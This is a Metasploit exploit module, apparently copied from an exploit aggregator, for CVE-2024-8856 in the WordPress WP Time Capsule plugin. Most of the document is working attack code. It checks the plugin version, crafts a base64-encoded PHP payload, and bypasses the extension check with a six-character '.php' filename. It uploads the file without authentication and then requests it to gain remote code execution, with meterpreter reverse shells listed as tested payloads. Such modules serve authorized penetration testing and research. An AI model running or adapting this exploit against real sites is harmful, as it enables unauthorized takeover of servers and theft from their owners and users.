Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WP_TIME_CAPSULE_FILE_UPLOAD_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
(versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
code execution (RCE).
The validation logic in the vulnerable function improperly checks for allowed extensions.
If no valid extension is found, the check can be bypassed by using a filename of specific length
(e.g., "00.php") matching the length of allowed extensions like ".crypt".
},
'Author' => [
'Valentin Lobstein', # Metasploit module
'Rein Daelman' # Vulnerability discovery
],
'References' => [
['CVE', '2024-8856'],
['URL', 'https://hacked.be/posts/CVE-2024-8856'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
end
def php_exec_cmd(encoded_payload)
dis = '$' + Rex::RandomIdentifier::Generator.new.generate
b64_encoded_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$cmd = base64_decode("#{b64_encoded_payload}");
#{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)}
END_OF_PHP_CODE
return Rex::Text.compress(shell)
end
def check
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
case plugin_check.code
when 'appears'
return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
when 'safe'
return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
end
CheckCode::Unknown('No vulnerable plugins were detected.')
end
def exploit
base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php')
upload_path = normalize_uri(base_path, 'index.php')
# Generate random filename matching constraints (6 characters total, ending in .php)
filename_prefix = Rex::Text.rand_text_alphanumeric(2)
payload_name = "#{filename_prefix}.php"
random_mime_type = Faker::File.mime_type
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload)
register_files_for_cleanup(payload_name)
vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...")
mime = Rex::MIME::Message.new
mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}")
res = send_request_cgi(
'method' => 'POST',
'uri' => upload_path,
'ctype' => 'multipart/form-data; boundary=' + mime.bound,
'data' => mime.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload')
end
vprint_good('Payload uploaded successfully. Parsing response...')
json_response = res.get_json_document
url = json_response.dig('files', 0, 'url')
fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil?
vprint_status("Triggering the payload at: #{url}")
send_request_cgi(
'method' => 'GET',
'uri' => URI(url).path
)
end
end